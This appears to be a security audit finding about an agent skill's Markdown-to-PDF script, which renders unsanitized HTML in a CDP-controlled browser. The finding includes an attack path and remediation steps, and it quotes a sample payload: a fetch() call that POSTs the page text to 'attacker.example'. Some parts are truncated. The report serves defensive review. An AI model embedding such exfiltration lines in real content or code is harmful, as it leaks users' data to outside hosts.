T09 · Insecure Skill Coding Practices
- Location
scripts/md2pdf_browser.js:18- Finding
Unsanitized Markdown permits active browser content execution
- Content
View full analysis
fetch("https://attacker.example/collect", { method: "POST", mode: "no-cors", body: document.documentElement.innerText }); ``` Event handlers, iframes, forms, images, stylesheets, and other network-capable elements can also be included. Rendering is performed in the browser reached through the supplied CDP endpoint, so requests originate from the browser host and can reach resources available to that host. ### Attack Path 1. An attacker creates a Markdown document containing a script, event handler, iframe, or malicious resource URL. 2. The attacker persuades a user or automated service to process the document with `scripts/md2pdf-browser.sh`. 3. `marked.parse()` preserves the document's raw HTML. ...[truncated 988 chars]- Remediation
View remediation
{ const url = request.url(); if (url === 'about:blank') { request.continue(); } else { request.abort(); } }); ``` 5. Bundle Twemoji assets locally instead of loading them from an external CDN. 6. Add a restrictive content-security policy that prohibits scripts, frames, forms, navigation, and unapproved network destinations. 7. Use a dedicated, temporary browser profile with no authenticated sessions, extensions, saved credentials, or access to sensitive browsing state. 8. Restrict the CDP endpoint to localhost or an authenticated, encrypted administrative channel. Do not expose an unauthenticated CDP service to a network. 9. Treat all input Markdown as untrusted and document the browser pipeline's security boundary. ]]>
